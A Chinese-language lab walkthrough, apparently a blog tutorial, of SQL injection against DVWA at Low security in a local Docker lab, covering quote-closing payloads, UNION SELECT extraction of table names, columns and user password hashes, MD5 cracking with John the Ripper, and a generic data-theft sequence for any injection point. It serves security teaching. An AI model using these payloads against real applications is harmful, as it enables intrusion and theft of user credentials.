第一部分:SQL 注入概述
什么是 SQL 注入
SQL 注入(SQL Injection)是将恶意的 SQL 语句片段插入到应用程序的输入参数中,让后端数据库误以为这是合法的查询指令并执行它。
简单说:你的输入被当作代码执行了。
正常请求:
浏览器 → 输入 user_id=1 → 服务器 → SQL: SELECT * FROM users WHERE id='1' → 返回 admin
注入请求:
浏览器 → 输入 user_id=1' or '1'='1' # → 服务器 → SQL 被篡改 → 返回全部用户数据
为什么 SQL 注入能成立
三个条件同时满足:
- 用户输入直接拼接到 SQL 语句中(没有参数化查询)
- 输入中的特殊字符(
'、"、--、#)没有被转义或过滤 - 数据库把拼接后的字符串当作 SQL 执行
这三个条件缺一个,注入就不成立。
注入的本质:脱离数据上下文,进入代码上下文
SELECT * FROM users WHERE id = '1'
│ │
│ └── 后引号(后端写死的)
└── 前引号(后端写死的,你的输入从它后面开始)
-- 正常输入时,你的数据在引号里——是"数据"
-- 你的输入里包含 ' 后,你提前闭合了引号——后面的内容进入了"代码"区域
-- 这就是注入的本质
什么是 Payload
Payload = 攻击载荷 = 你精心构造的那段输入字符串。
正常输入: 1 ← 只是数据
Payload: 1' or '1'='1' # ← 数据 + SQL 代码 + 注释符
Payload 的三个组成部分:
1' ← 正常数据 + 闭合符(跳出数据上下文)
or '1'='1' ← 注入的 SQL 代码(攻击逻辑)
# ← 注释符(清理尾部,防止语法错误)
三要素:闭合 → 注入 → 注释。
SQL 注入的核心分类
按后端 SQL 中参数的类型分为两类:
| 类型 | 后端 SQL 写法 | 特征 |
|---|---|---|
| 数字型 | WHERE id = 1(没有引号) |
1 or 1=1 直接生效,不需要引号 |
| 字符型 | WHERE id = '1'(有引号) |
需要先闭合引号,再注入逻辑 |
按注入手法分为:
| 手法 | 适用场景 | 核心思路 |
|---|---|---|
| 联合查询(UNION) | 页面显示查询结果 | 用 UNION SELECT 偷其他表的数据 |
| 报错注入 | 页面显示错误信息 | 通过报错函数(extractvalue/updatexml)把数据带出来 |
| 布尔盲注 | 只有"正常/异常"两种反馈 | 逐个字符猜解,成立时正常,不成立时异常 |
| 时间盲注 | 完全没有任何反馈 | 条件成立时延迟(sleep),用响应时间判断 |
| 堆叠注入 | 数据库支持多语句 | 用 ; 分隔,执行多条 SQL |
第二部分:手工测试——DVWA Low 字符型注入实战
环境信息
- 靶机: DVWA(Docker 容器,127.0.0.1:8080,SSH 隧道访问)
- 安全等级: Low
- 页面: SQL Injection → User ID 输入框
- 数据库: MariaDB(MySQL 兼容)
第一节:确认注入点
第一步:正常输入——理解功能
输入 1 → First name: admin Surname: admin
输入 2 → First name: Gordon Surname: Brown
得到的信息: 输入的是用户 ID,返回的是姓名。后端用 ID 查用户表。
第二步:试探引号——1'
输入 1' → 仍然返回 admin,没报错
得到的信息: 多出的 ' 没让 SQL 崩溃。DVWA Low 可能做了容错,先不急于下结论。
第三步:关键判断——数字型还是字符型
输入 1 or 1=1 → 只返回 admin,没有返回全部用户
这是决定性的一步。 如果后端 SQL 是数字型:
WHERE user_id = 1 or 1=1 ← or 1=1 被当作代码执行了 → 返回全部
如果后端 SQL 是字符型:
WHERE user_id = '1 or 1=1' ← 整个被引号包住,当作字符串 → 只返回一条
实际结果只返回了一条 → 确认是字符型注入,输入被单引号包裹。
第四步:构造 Payload
既然输入被包在单引号里,Payload 必须做三件事:
1. 闭合前端的前引号
2. 注入永远为真的条件
3. 注释掉后端的多余后引号
构造:
1' or '1'='1' #
还原到后端 SQL:
-- 后端模板:
SELECT first_name, last_name FROM users WHERE user_id = '[输入]'
-- 替换后:
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1' # '
│ │ │ │ │
│ │ │ │ └── 被 # 注释吞掉
│ │ │ └── 注入条件:永远真
│ │ └── 闭合后端前引号
│ └── 正常 ID 值
└── 后端代码写的前引号
结果:返回了全部五个用户(admin、Gordon、Hack、Pablo、Bob)。注入成功。
Payload 三要素总结
闭合:1' → 用 ' 匹配掉后端写死的前引号,后面的内容不再是"数据"
注入:or '1'='1' → 你写的 SQL 代码,'1'='1' 永远为真,OR 让它作用于所有行
注释:# → MySQL/MariaDB 注释符,把后端写死的后引号变成无效文本
手工测试决策流程
正常输入(1, 2)
→ 理解功能
↓
加引号测试(1')
→ 看是否报错(判断有没有过滤/转义)
↓
注入判断符(1 or 1=1)
├── 返回全部 → 数字型,直接注入
├── 返回一条 → 字符型,用引号闭合
├── 报错 → 可能有括号或特殊语法
└── 空白 → 有过滤,需要绕过
↓
构造 Payload(闭合 + 注入 + 注释)
↓
注入成功 → 进入数据提取阶段(UNION SELECT 偷表)
第二节:UNION SELECT 联合查询 — 从注入到脱裤
UNION 是什么
正常查询返回一张表。UNION 可以把另一张表拼在下面:
SELECT first_name, last_name FROM users WHERE user_id = '1'
UNION
SELECT 'hello', 'world'
结果会多出一行——hello 和 world 出现在页面上。这就是注入数据的原理:用 UNION 把想偷的数据拼到正常查询结果下面。
UNION 的铁律:前后两个 SELECT 的列数必须相等。
第一步:猜列数 — ORDER BY
从 1 开始往上加,加到报错为止,报错前的数字就是列数。
输入:1' order by 1 # → 正常
输入:1' order by 2 # → 正常
输入:1' order by 3 # → 报错:Unknown column '3' in 'order clause'
结论:列数 = 2。 正好对应页面显示的 First name 和 Surname 两列。
第二步:确认显示位置 — UNION SELECT 数字占位
已经知道原始查询返回 2 列。用 union select 在上面注入数据,验证哪些列能显示在页面上:
输入:1' union select 1, 2 #
最终得出的查询:
SELECT first_name, last_name FROM users WHERE user_id = '1'
UNION
SELECT 1, 2
返回结果:
第一行:First name: admin Surname: admin ← 原始查询的 admin
第二行:First name: 1 Surname: 2 ← 注入的数据被显示出来了
结论:两列都能显示注入数据。
1显示在 First name 位置,2显示在 Surname 位置。
第三步:偷数据库名 — database()
输入:1' union select database(), 2 #
SELECT first_name, last_name FROM users WHERE user_id = '1'
UNION
SELECT database(), 2
返回:First name: dvwa Surname: 2
数据库名:
dvwa。 注意第一个2的作用——只是占位符,凑够 UNION 要求的 2 列。实际数据从database()返回在第一列。
第四步:查所有表名 — information_schema.tables
-- information_schema 是 MySQL/MariaDB 的系统库,存储了所有数据库的元数据
-- information_schema.tables 记录了所有表的信息
-- group_concat() 把多行合并成一行,用逗号分隔
输入:1' union select group_concat(table_name), 2 from information_schema.tables where table_schema=database() #
SELECT first_name, last_name FROM users WHERE user_id = '1'
UNION
SELECT group_concat(table_name), 2
FROM information_schema.tables
WHERE table_schema = database()
返回:First name: guestbook,users Surname: 2
两个表:
guestbook和users。 优先查users——里面大概率有账号密码。
第五步:查 users 表的列名 — information_schema.columns
输入:1' union select group_concat(column_name), 2 from information_schema.columns where table_name='users' #
SELECT first_name, last_name FROM users WHERE user_id = '1'
UNION
SELECT group_concat(column_name), 2
FROM information_schema.columns
WHERE table_name = 'users'
返回:First name: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
Surname: 2
8 列。核心是
user和password。
第六步:偷密码 hash
输入:1' union select user, password from users #
SELECT first_name, last_name FROM users WHERE user_id = '1'
UNION
SELECT user, password FROM users
返回结果(5 行,点 Submit 依次出现):
user | password (MD5 hash)
─────────┼──────────────────────────────────
admin | 5f4dcc3b5aa765d61d8327deb882cf99
gordonb | e99a18c428cb38d5f260853678922e03
1337 | 8d3533d75ae2c3966d7e0d4fcc69216b
pablo | 0d107d09f5bbe40cade3de5c71e9e9b7
smithy | 5f4dcc3b5aa765d61d8327deb882cf99
完整用户表已脱裤。
关于这些 hash
32 位十六进制 → MD5。几条常见弱密码可以一眼认出来:
5f4dcc3b5aa765d61d8327deb882cf99 = password
e99a18c428cb38d5f260853678922e03 = abc123
8d3533d75ae2c3966d7e0d4fcc69216b = charley
0d107d09f5bbe40cade3de5c71e9e9b7 = letmein
未知 hash 用 John 暴破:
echo '5f4dcc3b5aa765d61d8327deb882cf99' > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt
完整攻击链回顾(DVWA Low SQL Injection 全流程)
┌──────────────────────────────────────────────────────────┐
│ 阶段一:注入点探测 │
│ │
│ 输入 结果 分析 │
│ ──── ──── ──── │
│ 1 admin 正常 │
│ 2 Gordon 另一个用户,确认功能是 ID→姓名 │
│ 1' admin 没报错,DVWA Low 容错处理 │
│ 1 or 1=1 admin 只返回一条 → 被引号包住 → 字符型 │
│ 1' or '1'='1' # 全部五条 → 注入成功! │
│ │
│ 结论:字符型 SQL 注入,Payload 三要素生效(闭合/注入/注释) │
└──────────────────────────────────────────────────────────┘
↓
┌──────────────────────────────────────────────────────────┐
│ 阶段二:UNION SELECT 数据提取 │
│ │
│ 操作 Payload │
│ ──── ─────── │
│ 猜列数 1' order by N # → N=2 │
│ 确认显示位置 1' union select 1,2 # │
│ → 两列都能显示注入数据 │
│ │
│ 查库名 1' union select database(),2 # │
│ → dvwa │
│ │
│ 查表名 1' union select │
│ group_concat(table_name),2 │
│ from information_schema.tables │
│ where table_schema=database() # │
│ → guestbook, users │
│ │
│ 查列名 1' union select │
│ group_concat(column_name),2 │
│ from information_schema.columns │
│ where table_name='users' # │
│ → user, password 等 8 列 │
│ │
│ 偷数据 1' union select user,password │
│ from users # │
│ → 5 个用户的 MD5 hash │
└──────────────────────────────────────────────────────────┘
↓
┌──────────────────────────────────────────────────────────┐
│ 阶段三:Hash 破解 │
│ │
│ admin / password │
│ gordonb / abc123 │
│ 1337 / charley │
│ pablo / letmein │
│ smithy / password │
│ │
│ John the Ripper + rockyou.txt 字典暴破 │
└──────────────────────────────────────────────────────────┘
偷数据的标准顺序(通用模板)
每遇到一个新的 SQL 注入点,按这个顺序逐层挖:
1. database() → 当前库名
2. information_schema → 所有表名
3. 目标表的列名 → 找到 user/password 等敏感字段
4. 偷数据 → UNION SELECT 直接读
5. 其他表同理 → 逐表翻一遍
下一篇:DVWA Medium — 字符转义绕过 & 报错注入